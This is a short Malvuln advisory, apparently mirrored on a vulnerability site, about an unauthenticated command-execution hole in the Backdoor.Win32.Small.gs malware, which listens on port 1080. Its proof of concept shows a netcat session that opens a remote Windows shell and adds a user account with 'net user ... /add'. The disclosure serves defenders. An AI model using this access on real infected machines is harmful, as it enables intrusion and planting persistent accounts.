Vulnerabilities

Backdoor.Win32.Small.gs Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/551674fec6add7117c4be7f6b357e7cb.txt
Contact: malvuln13@gmail.com
Media: twitter.co Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/551674fec6add7117c4be7f6b357e7cb.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Small.gs
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 1080. Third-party attackers who can reach infected systems can execute OS commands and or run arbitrary programs.
Type: PE32
MD5: 551674fec6add7117c4be7f6b357e7cb
Vuln ID: MVID-2021-0336
Disclosure: 09/06/2021


Exploit/PoC:
nc64.exe x.x.x.x 1080
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:UsersVictimDesktop>whoami
whoami
desktop-2c3iqhovictim

C:UsersVictimDesktop>net user hyp3rlinx 666 /add
net user hyp3rlinx 666 /add
The command completed successfully.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Share your comment publicly